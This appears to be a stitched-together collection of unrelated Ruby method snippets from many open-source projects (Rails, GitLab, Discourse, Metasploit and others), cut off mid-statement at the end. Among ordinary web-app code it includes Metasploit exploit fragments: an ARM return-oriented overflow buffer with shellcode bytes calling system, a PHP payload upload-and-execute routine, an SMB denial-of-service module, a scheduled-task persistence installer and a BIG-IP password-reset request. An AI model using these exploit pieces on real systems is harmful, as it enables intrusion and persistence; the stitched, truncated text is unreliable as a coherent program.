def get_hashcat
          # Look in the Environment PATH for the hashcat binary
          self.cracker = 'hashcat'
          Rex::FileUtils.find_full_path('hashcat') ||
            Rex::FileUtils.find_full_path('hashcat.exe')
        end


def self.migrations_pending?(ensure_fresh: false)
      cache_key = OpenProject::Cache::CacheKey.key("database_migrations")
      cached_result = Rails.cache.read(cache_key)

      # Ensure cache is busted if result is positive or unset
      # and the value was cached
      if ensure_fresh || cached_result != false
        fresh_result = connection.pool.migration_context.needs_migration?
        Rails.cache.write(cache_key, expires_in: 1.hour)
        return fresh_result
      end

      false
    end


def on_session_open(session)
      notify_send('normal', 'Got Shell!',
                  "New Session: #{session.sid}\nIP: #{session.session_host}\nPeer: #{session.tunnel_peer}\n"\
                  "Platform: #{session.platform}\nType: #{session.type}")
    end


def by_login(login)
        where(["LOWER(login) = ?", login.to_s.downcase])
      end


def save_current_cursor_position(position)
          Gitlab::Redis::SharedState.with do |redis|
            # Set TTL to 1 week (86400 * 7 seconds)
            redis.set(cursor_tracker_key, position, ex: 604_800)
            log_info("Saved current cursor position: #{position}")
          end
        end


def pool_can_fetch_from_source?
      project.git_objects_poolable? &&
        same_storage_as_pool?(pool_repository.source_project.repository)
    end


def artifact_path(job_artifact)
    Pathname.new(job_artifact.file.path).parent.to_s
  end


def literal_type(node)
          literal = integer_part(node)

          octal_literal_type(literal) || hex_bin_dec_literal_type(literal)
        end


def initialize(capsule)
      @config = @capsule = capsule
      @max_retries = Sidekiq.default_configuration[:max_retries] || DEFAULT_MAX_RETRY_ATTEMPTS
      @backtrace_cleaner = Sidekiq.default_configuration[:backtrace_cleaner]
    end


def last_commit_id_for_path(sha, path, literal_pathspec: false)
    key = path.blank? ? "last_commit_id_for_path:#{sha}" : "last_commit_id_for_path:#{sha}:#{Digest::SHA1.hexdigest(path)}"

    cache.fetch(key) do
      last_commit_for_path(sha, path, literal_pathspec: literal_pathspec)&.id
    end
  end


def test_scaffold_tests_pass_by_default_inside_api_full_engine
    engine_path = File.join(destination_root, "bukkits")

    with_new_plugin(engine_path, "--full", "--api") do
      quietly do
        `bin/rails g scaffold User name:string age:integer;
        bin/rails db:migrate`
      end
      assert_match(/6 runs, 10 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
    end
  end


def test_options_are_parsed
    start_date = Date.civil(2015, 1, 1)
    end_date = Date.civil(2015, 1, 31)
    options = [:us]

    between_mock = mock()
    Holidays::Factory::Finder.stubs(:between).returns(between_mock)
    between_mock.expects(:call).with(start_date, end_date, [:us])

    @subject.call(start_date, end_date, *options)
  end


def test_recall_params_should_not_be_changed
    get :recall_params_not_changed
    assert_equal "/url_helper_controller_test/url_helper/show_url_for", @response.body
  end


def assert_dispatch(klass, body = "success", action = :index)
        controller = klass.new
        controller.process(action)
        assert_equal body, controller.response_body
      end


def init_ui(input, output)
    self.user_input = input
    self.user_output = output
    console.init_ui(input, output)
    console.set_log_source(log_source)

    super
  end


def update_jobs_processed!
        processing = @collection.processing_jobs
        processing.each_slice(BATCH_SIZE) do |slice|
          pipeline.all_jobs.match_id_and_lock_version(slice)
            .update_as_processed!
        end
      end


def file_exclusion_specification
        " --exclude-pattern #{escape exclude_pattern}" if exclude_pattern
      end


def filter_proxies(ips) # :doc:
        ips.reject do |ip|
          @proxies.any? { |proxy| proxy === ip }
        end
      end


def uri
    return target_uri.path
  end


def grouped_by(fields, type, important_fields = [])
      @grouped_by ||= {}
      list = @grouped_by[fields] ||= begin
        # sub results, have fields
        # i.e. grouping by foo, bar
        data = group_by do |entry|
          # index for group is a hash
          # i.e. { :foo => 10, :bar => 20 } <= this is just the KEY!!!!
          fields.inject({}) do |hash, key|
            val = map_group_by_value(key, entry.fields[key])
            hash.merge key => val
          end
        end
        group_by_data_ready(data)
        # map group back to array, all fields with same key get grouped into one list
        data.keys.map { |f| engine::Result.new data[f], f, type, important_fields }
      end

      # create a single result from that list
      engine::Result.new list, {}, type, important_fields
    end


def teardown
      ActiveRecord::Base.configurations = @prev_configs
      ActiveRecord::Base.connection_handler = @old_handler
      clean_up_connection_handler
    end


def check_client_id
              return pass_check(:client_id) if query_result.success?

              if error_payload[:error] == "unauthorized_client"
                fail_check(:client_id, :client_id_invalid)
              else
                pass_check(:client_id)
              end
            end


def prepare_notification_attributes(notification_data)
    attributes = notification_data.except('updated_at')

    attributes['user_id'] = user.id

    unless attributes['created_at'].present?
      attributes['created_at'] = Time.current
    end

    attributes['updated_at'] = Time.current

    attributes.symbolize_keys
  rescue StandardError => e
    Rails.logger.error "Failed to prepare notification attributes: #{e.message}"
    Rails.logger.error "Notification data: #{notification_data.inspect}"
    nil
  end


def avatar_template
    object.user.avatar_template
  end


def label
        return name if name == "OpenProject"

        super
      end


def bad_request?;         status == 400;                        end


def run
    open_pcap

    p = PacketFu::TCPPacket.new
    p.ip_daddr = rhost
    p.ip_saddr = shost
    p.ip_ttl = rand(128..255)
    p.tcp_sport = sport
    p.tcp_dport = rport
    p.tcp_flags.syn = 1
    p.tcp_win = rand(1..4096)
    p.tcp_opts = "e\x02\x01\x00" # Opt 101, len 2, nop, eol
    p.recalc
    print_status("#{p.ip_daddr}:#{p.tcp_dport} Sending TCP Syn packet from #{p.ip_saddr}:#{p.tcp_sport}")
    capture_sendto(p, rhost)
    close_pcap
  end


def deduplicate_announcement_reactions!
      return unless db_table_exists?(:announcement_reactions)

      remove_index_if_exists!(:announcement_reactions, 'index_announcement_reactions_on_account_id_and_announcement_id')

      say 'Removing duplicate announcement reactions…'
      duplicate_record_ids(:announcement_reactions, 'account_id, announcement_id, name').each do |row|
        AnnouncementReaction.where(id: row['ids'].split(',')).order(id: :desc).to_a.drop(1).each(&:destroy)
      end

      say 'Restoring announcement_reactions indexes…'
      database_connection.add_index :announcement_reactions, %w(account_id announcement_id name), name: 'index_announcement_reactions_on_account_id_and_announcement_id', unique: true
    end


def test_route_key
    assert_equal "posts", @model_name.route_key
  end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Vista SP0 SMB Negotiate Protocol DoS',
        'Description' => %q{
          This module exploits a flaw in Windows Vista that allows a remote
          unauthenticated attacker to disable the SMB service. This vulnerability
          was silently fixed in Microsoft Vista Service Pack 1.
        },

        'Author' => [ 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'OSVDB', '64341'],
        ],
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_options([Opt::RPORT(445)])
  end


def mail
    user.present? ? user.mail : I18n.t("user.deleted")
  end


def authorized?
        current_user.can?(:update_pages, project)
      end


def resource_serializer
            Spree::Api::Dependencies.storefront_policy_serializer.constantize
          end


def bigip_api_shared_set_password(user, old_password, new_password)
    send_request_cgi(
      'method' => 'PATCH',
      'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user),
      'headers' => {
        'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",
        'Content-Type' => 'application/json'
      },
      'data' => { 'oldPassword' => old_password, 'password' => new_password }.to_json
    )
  end


def test_xml
    @request.accept = "application/xml"
    get :html_xml_or_rss
    assert_equal "XML", @response.body
  end


def initialize(user, groups)
    @user = user
    @groups = groups
  end


def storage_location_identifier
      raise NotImplementedError, "#{self} does not implement #{__method__}"
    end


def self.connected_to_stack # :nodoc:
        if connected_to_stack = ActiveSupport::IsolatedExecutionState[:active_record_connected_to_stack]
          connected_to_stack
        else
          connected_to_stack = Concurrent::Array.new
          ActiveSupport::IsolatedExecutionState[:active_record_connected_to_stack] = connected_to_stack
          connected_to_stack
        end
      end


def expect_validation_errors
    expect(described_class.new(path, attributes).validation_errors).not_to be_empty
  end


def restrict_projects_by_permission(query, user)
    perm = activity_provider_options[:permission]

    query.where(projects_table[:id].in(Project.allowed_to(user, perm).select(:id).arel))
  end


def options_for(status, opts = {})
      {
        bump: status.opening_topic?,
        post_type: Post.types[:small_action],
        silent: opts[:silent],
        action_code: status.action_code,
      }
    end


def using_non_conflicting_nested_js_then_js
    respond_to do |outer_type|
      outer_type.js do
        respond_to do |inner_type|
          inner_type.js { render body: "JS" }
        end
      end
    end
  end


def map_types_to_metadata!
          @module_metadata_by_type = Hash.new { |h, k| h[k] = [] }

          @metadata.each do |module_metadata|
            @module_metadata_by_type[module_metadata.type] << module_metadata
          end
        end


def respond_to_missing?(name, _)
          return super if abstract_railtie?

          instance.respond_to?(name) || super
        end


def open_report
      if !Helper.ci? && Scan.cache[:open_html_report_path]
        `open --hide '#{Scan.cache[:open_html_report_path]}'`
      end
    end


def self.find_or_create_from_path!(path)
    ContainerRepository.upsert({
      project_id: path.repository_project.id,
      name: path.repository_name
    }, unique_by: %i[project_id name])

    find_by_path!(path)
  end


def index
    @notes = @contact.notes.latest.includes(:user)
  end


def find_or_initialize_non_project_specific_integration(name, instance: false, group_id: nil)
          return unless name.in?(available_integration_names(
            include_project_specific: false,
            include_group_specific: group_id.present?,
            include_instance_specific: instance))

          integration_name_to_model(name).find_or_initialize_by(instance: instance, group_id: group_id)
        end


def new
        remindable = FactoryBot.build_stubbed(:work_package)
        reminder = FactoryBot.build(:reminder, remindable:)
        errors = []

        render_with_template(locals: { remindable:, reminder:, errors: })
      end


def target_smt_x9_214
    base_crypt = 0x40074000 # libcrypto.so.0.9.8
    base_libc = 0x40554000 # libc-2.3.5.so

    buf = rand_text_alpha(68)
    buf << rand_text_alpha(4)                  # r10
    buf << rand_text_alpha(4)                  # r11
    buf << rand_text_alpha(4)                  # sp
    buf << [base_crypt + 0x39598].pack("V")    # pc # mov pc, r4
    # 2nd stage
    buf << "\x68\xd0\x84\xe2"                  # add   sp, r4, 104                  # make sp point to controlled data in order to accomplish the "ret2system"
    offset = ssl ? 208 : 204                   # when ssl there is an additional environment variable "HTTPS=on"
    buf << [offset].pack("C") + "\x50\x84\xe2" # add   r5, r4, 204                  # make r5 point to pointer to envp
    buf << "\x70\x40\xb5\xe8"                  # ldmfd r5!, {r4, r5, r6, ls}        # store on r4 pointer to envp USER_AGENT pointer
    buf << "\x20\x40\x84\xe2"                  # add   r4, r4, 32                   # to skip the "HTTP_USER_AGENT=" substring and avoid bachars on emulated environment
    buf << "\x40\x80\xbd\xe8"                  # ldmfd sp!, {r6, pc}
    buf << rand_text_alpha(4)                  # R6
    buf << [ base_crypt + 0x3A8BC ].pack("V")  # mov   r0, r4; ldmfd   sp!, {r4,pc} # store in r0 pointer to command
    buf << rand_text_alpha(4)                  # r4
    buf << [ base_libc + 0x3617c ].pack("V")   # system at libc
    buf << rand_text_alpha(128 - buf.length) # padding to reach memory which allows to control r4 when overflow occurs
    # 1st stage: adjust r4 and pc
    buf << "\x80\x40\x44\xe2"                  # sub r4, r4,-128                   # make r4 point to the start of the buffer
    buf << "\x54\xf0\x84\xe2"                  # add pc, r4, 84                    # give control to 2nd stage

    return buf
  end


def description_args
          { repo: repo, query: query }
        end


def respond_to_reg_query(subject, key, value, result, type)
    command = "cmd.exe /c reg query \"#{key}\" /v \"#{value}\""
    output = "\r\n#{key}\r\n    #{value}    #{type}    #{result}\r\n"
    allow(subject).to receive(:cmd_exec).with(command) { output }
  end


def version_info
        return unless retrieved_server_info? && version.present?
        return Gitlab::VersionInfo.parse("#{version}+#{git_ref}", parse_suffix: true) if valid_commit_ref?

        Gitlab::VersionInfo.parse(version)
      end


def self.full_message(attribute, message, base) # :nodoc:
      return message if attribute == :base

      base_class = base.class
      attribute = attribute.to_s

      if i18n_customize_full_message && base_class.respond_to?(:i18n_scope)
        attribute = attribute.remove(/\[\d+\]/)
        parts = attribute.split(".")
        attribute_name = parts.pop
        namespace = parts.join("/") unless parts.empty?
        attributes_scope = "#{base_class.i18n_scope}.errors.models"

        if namespace
          defaults = base_class.lookup_ancestors.map do |klass|
            [
              :"#{attributes_scope}.#{klass.model_name.i18n_key}/#{namespace}.attributes.#{attribute_name}.format",
              :"#{attributes_scope}.#{klass.model_name.i18n_key}/#{namespace}.format",
            ]
          end
        else
          defaults = base_class.lookup_ancestors.map do |klass|
            [
              :"#{attributes_scope}.#{klass.model_name.i18n_key}.attributes.#{attribute_name}.format",
              :"#{attributes_scope}.#{klass.model_name.i18n_key}.format",
            ]
          end
        end

        defaults.flatten!
      else
        defaults = []
      end

      defaults << :"errors.format"
      defaults << "%{attribute} %{message}"

      attr_name = attribute.remove(/\.base\z/).tr(".", "_").humanize
      attr_name = base_class.human_attribute_name(attribute, {
        default: attr_name,
        base: base,
      })

      I18n.t(defaults.shift,
        default:  defaults,
        attribute: attr_name,
        message:   message)
    end


def update_version_info
    return if @instance_info['version'].blank?

    ::Redis::Alfred.set(::Redis::Alfred::LATEST_CHATWOOT_VERSION, @instance_info['version'])
  end


def exploit
    create_workflow
    trigger_workflow
  end


def log_error(error, user_ids)
    logger.error(
      class: error.class,
      message: "BackfillUserDetails Migration: error inserting. Reason: #{error.message}",
      user_ids: user_ids
    )
  end


def self.included(action_class)
        super

        action_class.extend(Hanami::SliceConfigurable)
        action_class.extend(ClassMethods)
        action_class.prepend(InstanceMethods)
      end


def on_start
    @terms_of_service.scope_for_interstitial.in_batches.update_all(require_tos_interstitial: true)
  end


def partial_collection_with_spacer
    render partial: "customer", spacer_template: "partial_only", collection: [ Customer.new("david"), Customer.new("mary") ]
  end


def load_class(name)
        Object.const_get(name)
      rescue NameError => error
        if error.name.to_s == name
          raise MissingClassError, "Missing class: #{name}"
        else
          raise
        end
      end


def type_allowed?(type)
      return true if type.to_s == 'licenses'

      VENDORED_TEMPLATES.key?(type)
    end


def self.status_timeout?(status)
    status.casecmp(STATUS_TIMEOUT) == 0
  end


def notice
    post_custom_fields[Post::NOTICE]
  end


def bind_port
    port = datastore['ReverseListenerBindPort'].to_i
    port > 0 ? port : datastore['LPORT'].to_i
  end


def up
    return unless Gitlab.staging?

    define_batchable_model(:deploy_tokens).where(project_id: nil, group_id: nil).each_batch do |batch|
      batch
        .where('project_deploy_tokens.deploy_token_id = deploy_tokens.id')
        .where(deploy_tokens: { project_id: nil })
        .update_all('project_id = project_deploy_tokens.project_id FROM project_deploy_tokens')
    end
  end


def generate_liquid_output(input_string)
      Liquid::Template.register_tag("bandcamp", BandcampTag)
      Liquid::Template.parse("{% bandcamp #{input_string} %}").render
    end


def self.update_home_organization_record_for(user, user_is_admin:)
      find_or_initialize_by(
        user_id: user.id, organization_id: user.organization_id
      ).tap do |record|
        record.access_level = home_organization_access_level(user_is_admin: user_is_admin)
        record.save!
      end
    end


def self.has_command?(name)
            Dispatchers.any? { |klass| klass.has_command?(name) }
          end


def style_guide_base_url
        department_name = cop_name.split('/')[0..-2].join('/')

        config.for_department(department_name)['StyleGuideBaseURL'] ||
          config.for_all_cops['StyleGuideBaseURL']
      end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Manage User Level Persistent Payload Installer',
        'Description' => %q{
          Creates a scheduled task that will run using service-for-user (S4U).
          This allows the scheduled task to run even as an unprivileged user
          that is not logged into the device. This will result in lower security
          context, allowing access to local resources only. The module
          requires 'Logon as a batch job' permissions (SeBatchLogonRight).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
          'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
        ],
        'Platform' => 'win',
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [ [ 'Windows', {} ] ],
        'DisclosureDate' => '2013-01-02', # Date of scriptjunkie's blog post
        'DefaultTarget' => 0,
        'References' => [
          [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/' ],
          [ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/' ]
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_sys_config_getenv
              stdapi_sys_config_getuid
            ]
          }
        },
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']),
        OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires', 0]),
        OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule', ['event', 'lock', 'logon', 'schedule', 'unlock']]),
        OptString.new('REXENAME', [false, 'Name of exe on remote system']),
        OptString.new('RTASKNAME', [false, 'Name of task on remote system']),
        OptString.new('PATH', [false, 'PATH to write payload', '%TEMP%'])
      ]
    )

    register_advanced_options(
      [
        OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']),
        OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']),
        OptString.new('XPATH', [false, 'XPath query'])
      ]
    )
  end


def make_subs(script, subs)
    subs.each do |set|
      script.gsub!(set[0], set[1])
    end

    script
  end


def test_newline_inside_tag
      source = "Posts: <%= \n @post.length %> <% puts 'hi' %>\nfoo <%"
      actual_tokens = tokenize source
      assert_equal [[:TEXT, "Posts: "],
                    [:OPEN, "<%="],
                    [:CODE, " \n @post.length "],
                    [:CLOSE, "%>"],
                    [:TEXT, " "],
                    [:OPEN, "<%"],
                    [:CODE, " puts 'hi' "],
                    [:CLOSE, "%>"],
                    [:TEXT, "\nfoo "],
                    [:OPEN, "<%"],
      ], actual_tokens
    end

Posts: <%=
 @post.length %> <% puts 'hi' %>
foo <%


def resolve_with_lookahead(**args)
        contributed_projects = ContributedProjectsFinder.new(
          user: user,
          current_user: current_user,
          params: finder_params(args)
        ).execute

        return apply_lookahead(contributed_projects) if args[:include_personal]

        apply_lookahead(contributed_projects.joined(user))
      end


def get_engine_coolant_temp(bus, src_id, dst_id, opt = {})
    opt['MAXPKTS'] = 1
    packets = get_current_data(bus, src_id, dst_id, 0x05, opt)
    return {} if packets.nil?
    return packets if packets.key? "error"
    return packets unless packets.key? "Packets"
    celsius = packets["Packets"][0]["DATA"][3].hex - 40
    fahrenheit = celsius * 9 / 5 + 32
    packets["TEMP_C"] = celsius
    packets["TEMP_F"] = fahrenheit
    packets
  end


def is_a?(klass)
      klass == ::Time || super
    end


def path(params, request)
        if block.match(URL_PARTS)
          path     = interpolation_required?($1, params) ? $1 % escape_path(params)     : $1
          query    = interpolation_required?($2, params) ? $2 % escape(params)          : $2
          fragment = interpolation_required?($3, params) ? $3 % escape_fragment(params) : $3

          "#{path}#{query}#{fragment}"
        else
          interpolation_required?(block, params) ? block % escape(params) : block
        end
      end


def git_config
    res = req('config')
    config_uri = git_uri('config')
    unless res
      vprint_error("#{config_uri} - No response received")
      return
    end
    vprint_status("#{config_uri} - HTTP/#{res.proto} #{res.code} #{res.message}")

    return unless res.code == 200 && res.body =~ /\[(?:branch|core|remote)\]/

    print_good("#{config_uri} - git config file found")

    report_note(
      host: rhost,
      port: rport,
      proto: 'tcp',
      type: 'git_config_disclosure',
      data: { uri: config_uri }
    )

    path = store_loot('config', 'text/plain', rhost, res.body, config_uri)
    print_good("Saved file to: #{path}")
  end


def get_uri_prefix(uri_str)
      return nil if uri_str.nil?

      # Convert all backslashes in the URI to forward slashes
      uri_str.tr!('\\', '/')

      # Strip any leading and trailing whitespace
      uri_str.strip!

      scheme, _userinfo, _host, _port, _registry, _path, _opaque, _query, _fragment = URI.split(URI::DEFAULT_PARSER.escape(uri_str))
      scheme
    end


def handle_response(response)
              error = Results::Error.new(payload: response, source: self.class)

              case response
              in { status: 200 }
                Success(response.json(symbolize_keys: true))
              in { status: 204 }
                Success(result: response)
              in { status: 400 }
                Failure(error.with(code: :bad_request))
              in { status: 401 }
                Failure(error.with(code: :unauthorized))
              in { status: 403 }
                Failure(error.with(code: :forbidden))
              in { status: 404 }
                Failure(error.with(code: :not_found))
              else
                Failure(error.with(code: :error))
              end
            end


def reset_negative_cache # :nodoc:
        reset if loaded? && target.nil?
      end


def update_b2b_users(user_list = [])
        raise "Cannot add b2b users if b2b is not enabled" unless b2b_app_enabled

        added_users = b2b_users.map(&:ds_username)

        # Returns if list is unchanged
        return self if (added_users - user_list) == (user_list - added_users)

        users_to_add = user_list.reject { |user| added_users.include?(user) }
        users_to_remove = added_users.reject { |user| user_list.include?(user) }

        @b2b_users = b2b_users.reject { |user| users_to_remove.include?(user.ds_username) }
        @b2b_users.concat(users_to_add.map { |user| B2bUser.from_username(user) })
        @b2b_users.concat(users_to_remove.map { |user| B2bUser.from_username(user, is_add_type: false) })

        return self
      end


def propagate_integrations
      @group.integrations.with_default_settings.each do |integration|
        PropagateIntegrationWorker.perform_async(integration.id)
      end
    end


def init_doc_xml_reals_file(pre_defs, activex, tiff)
    reals = []
    pre_defs.each do |obj|
      reals << { :id => obj[:id], :type => obj[:type], :target => obj[:fname].gsub(/^\/word\//, '') }
    end

    activex.each do |obj|
      reals << { :id => obj[:id], :type => obj[:type], :target => obj[:xml][:fname].gsub(/^\/word\//, '') }
    end

    reals << { :id => tiff[:id], :type => tiff[:type], :target => tiff[:fname].gsub(/^\/word\//, '') }

    { :fname => "/word/_rels/document.xml.rels", :data => make_doc_xml_reals(reals) }
  end


def custom_fields
    fields = User.allowed_user_custom_fields(scope)

    result = {}
    fields.each { |k| result[k] = object.custom_fields[k] if object.custom_fields[k].present? }

    result
  end


def verify_key
        Ed25519::VerifyKey.new([SiteSetting.ai_discord_app_public_key].pack("H*")).freeze
      end


def present_groups_with_pagination_strategies(params, groups)
        groups = groups.select(groups.arel_table[Arel.star])

        return present_groups(params, groups) if current_user.present?

        options = {
          with: Entities::Group,
          current_user: nil,
          statistics: false
        }

        groups, options = with_custom_attributes(groups, options)

        present paginate_with_strategies(groups), options
      end


def parse_completion_response(response)
          data = response.body
          return if data.empty?

          raise Error.new(response, data.dig('error', 'message')) if data.dig('error', 'message')

          message_data = data.dig('choices', 0, 'message')
          return unless message_data

          usage = data['usage'] || {}
          cached_tokens = usage.dig('prompt_tokens_details', 'cached_tokens')

          Message.new(
            role: :assistant,
            content: message_data['content'],
            tool_calls: parse_tool_calls(message_data['tool_calls']),
            input_tokens: usage['prompt_tokens'],
            output_tokens: usage['completion_tokens'],
            cached_tokens: cached_tokens,
            cache_creation_tokens: 0,
            model_id: data['model'],
            raw: response
          )
        end


def dump_to_json(template)
    json = {}

    template.each do |attribute, values|
      next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }

      json[attribute] = values.map do |value|
        value.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
      end
    end

    json.to_json
  end


def initialize(file, path, module_type)
          @file = file
          @path = path
          @module_type = module_type
        end


def add_error(msg = nil, &block)
      add_alert(:error, msg, &block)
    end


def create_sql(from_id, to_id)
        <<~SQL
          WITH created_records AS MATERIALIZED (
            INSERT INTO services (project_id, #{DEFAULTS.keys.map { |key| %("#{key}") }.join(',')}, created_at, updated_at)
            #{select_insert_values_sql(from_id, to_id)}
            RETURNING *
          )
          SELECT COUNT(*) as number_of_created_records
          FROM created_records
        SQL
      end


def after_commit(&blk)
    return blk.call if !transaction_open?

    ActiveRecord::Base.connection.add_transaction_record(AfterCommitWrapper.new(&blk))
  end


def get(key)
        if collector = @map[key]
          return collector
        end
        collector = @map[key] = yield
        if @keys.size >= MATCH_CACHE_SIZE
          # expire the oldest key
          @map.delete @keys.shift
        end
        @keys << key
        collector
      end


def update
    @user = User.find(params[:id])

    respond_to do |format|
      if @user.update_attributes(params[:user])
        format.html { redirect_to @user, :notice => 'User was successfully updated.' }
        format.json { head :ok }
      else
        format.html { render :action => "edit" }
        format.json { render :json => @user.errors, :status => :unprocessable_entity }
      end
    end
  end


def batch(batch_number)
      raise ArgumentError if batch_number < 1

      return unless batched?

      status['batches'].find { |item| item['batch_number'] == batch_number }
    end


def aliased_model
      PlaceholderReferences::AliasResolver.aliased_model(model, version: alias_version)
    end


def default_test_exclude_glob
            ENV["DEFAULT_TEST_EXCLUDE"] || "test/{system,dummy,fixtures}/**/*_test.rb"
          end


def exploit
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    base = File.dirname("#{uri}.")

    # Don't create a directory on the target since it complicates
    # cleaning up after ourselves
    # folder_name = Rex::Text.rand_text_alpha(4)
    folder_name = ""
    php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1"
    @clean_files = []

    p = get_write_exec_payload(:unlink_self => true)

    print_status("Uploading PHP payload (#{p.length.to_s} bytes)...")
    res = upload_php(base, php_fname, p, folder_name)

    if not res
      print_error("No response from server")
      return
    end

    print_status("Executing '#{php_fname}'...")
    exec_php(base, res)
  end


def reached_failure_threshold?
    failures >= FAILURE_THRESHOLDS[@resolution]
  end


def fingerprint
    loc = self.location
    location_string = loc && loc.sort_by { |k, v| k.to_s }.inspect
    warning_code_string = sprintf("%03d", @warning_code)
    code_string = @code.inspect

    Digest::SHA2.new(256).update("#{warning_code_string}#{code_string}#{location_string}#{self.file.relative}#{self.confidence}").to_s
  end


def expect_due_date_error(expected_error)
      expect_field_error(due_date_field, expected_error)
    end


def submit_by_keyboard
    input_element.native.send_keys :tab
  end


def initialize(*)
              super

              @limit = ::Gitlab::Ci::Pipeline::Quota::Deployments
                .new(project.namespace, pipeline, command)
            end


def set_members_count
      store.count
    end


def set_gem_version_and_file line, file, line_num
    if line =~ @gem_name_version
      @tracker.config.add_gem $1, $2, file, line_num
    elsif line =~ @ruby_version
      @tracker.config.set_ruby_version $1, file, line_num
    end
  end


def instance_presenter
    @instance_presenter ||= InstancePresenter.new
  end


def test_polymorphic_has_many_going_through_join_model_with_inheritance
    assert_equal tags(:general), posts(:thinking).tags.first
  end


def map_accel_path(env, path)
      if mapping = @mappings.find { |internal, _| internal =~ path }
        return path.sub(*mapping)
      elsif mapping = x_accel_mapping(env)
        # Safe to use header: explicit config + no app mappings:
        mapping.split(',').map(&:strip).each do |m|
          internal, external = m.split('=', 2).map(&:strip)
          new_path = path.sub(/\A#{internal}/i, external)
          return new_path unless path == new_path
        end

        return path
      end
    end


def test_setting_cookie_with_same_site_strict
    @request.env["action_dispatch.cookies_same_site_protection"] = proc { :strict }

    get :authenticate
    assert_set_cookie_header "user_name=david; path=/; SameSite=Strict"
    assert_equal({ "user_name" => "david" }, @response.cookies)
  end


def test_creates_database_with_no_default_options
      with_stubbed_connection_establish_connection do
        assert_called_with(@connection, :create_database, ["my-app-db", {}]) do
          ActiveRecord::Tasks::DatabaseTasks.create @configuration
        end
      end
    end


def available_gems
      return [] unless gemfile_path
      dsl = Bundler::Dsl.evaluate(gemfile_path, nil, true)
      return dsl.dependencies.map(&:name)
    end


def wdbrpc_checksum(data)
    sum = 0
    data.unpack("n*").each {|c| sum += c }
    sum = (sum & 0xffff) + (sum >> 16)
    (~sum)
  end


def comment_suspended
      user.add_role(:comment_suspended)
      user.remove_role(:suspended)
      remove_privileges
    end


def project
      Gitlab::Graphql::Loaders::BatchModelLoader.new(Project, object.source_id).find
    end


def historic_models_statement
    relation = Journal
                 .joins(historic_models_data_journals_join)
                 .joins(historic_models_original_models_join)
                 .select(historic_models_selects)

    add_timestamp_condition(relation)
  end


def excerpt
    return nil unless cooked
    @excerpt ||= PrettyText.excerpt(cooked, 300, keep_emoji_images: true)
  end


def self.prevalidate
      output_types = Scan.config[:output_types]
      has_multiple_report_types = output_types && output_types.split(',').size > 1
      if has_multiple_report_types && Scan.config[:custom_report_file_name]
        UI.user_error!("Using a :custom_report_file_name with multiple :output_types (#{output_types}) will lead to unexpected results. Use :output_files instead.")
      end
    end


def extract(_context)
          download_service.execute
          decompression_service.execute
          extraction_service.execute

          file_paths = Dir.glob(File.join(tmpdir, '*'))

          BulkImports::Pipeline::ExtractedData.new(data: file_paths)
        end


def self.available_options
      @options ||= [

        FastlaneCore::ConfigItem.new(key: :white,
                                       env_name: "FRAMEIT_WHITE_FRAME",
                                       description: "Use white device frames",
                                       type: Boolean,
                                       optional: true),
        FastlaneCore::ConfigItem.new(key: :silver,
                                       env_name: "FRAMEIT_SILVER_FRAME",
                                       description: "Use white device frames. Alias for :white",
                                       type: Boolean,
                                       optional: true),
        FastlaneCore::ConfigItem.new(key: :rose_gold,
                                       env_name: "FRAMEIT_ROSE_GOLD_FRAME",
                                       description: "Use rose gold device frames. Alias for :rose_gold",
                                       type: Boolean,
                                       optional: true),
        FastlaneCore::ConfigItem.new(key: :gold,
                                       env_name: "FRAMEIT_GOLD_FRAME",
                                       description: "Use gold device frames. Alias for :gold",
                                       type: Boolean,
                                       optional: true),
        FastlaneCore::ConfigItem.new(key: :force_device_type,
                                       env_name: "FRAMEIT_FORCE_DEVICE_TYPE",
                                       description: "Forces a given device type, useful for Mac screenshots, as their sizes vary",
                                       optional: true,
                                       verify_block: proc do |value|
                                         UI.user_error!("Invalid device type '#{value}'. Available values: " + Devices.all_device_names_without_apple.join(', ')) unless ConfigParser.supported_device?(value)
                                       end),
        FastlaneCore::ConfigItem.new(key: :use_legacy_iphone5s,
                                       env_name: "FRAMEIT_USE_LEGACY_IPHONE_5_S",
                                       description: "Use iPhone 5s instead of iPhone SE frames",
                                       default_value: false,
                                       type: Boolean),
        FastlaneCore::ConfigItem.new(key: :use_legacy_iphone6s,
                                       env_name: "FRAMEIT_USE_LEGACY_IPHONE_6_S",
                                       description: "Use iPhone 6s frames instead of iPhone 7 frames",
                                       default_value: false,
                                       type: Boolean),
        FastlaneCore::ConfigItem.new(key: :use_legacy_iphone7,
                                       env_name: "FRAMEIT_USE_LEGACY_IPHONE_7",
                                       description: "Use iPhone 7 frames instead of iPhone 8 frames",
                                       default_value: false,
                                       type: Boolean),
        FastlaneCore::ConfigItem.new(key: :use_legacy_iphonex,
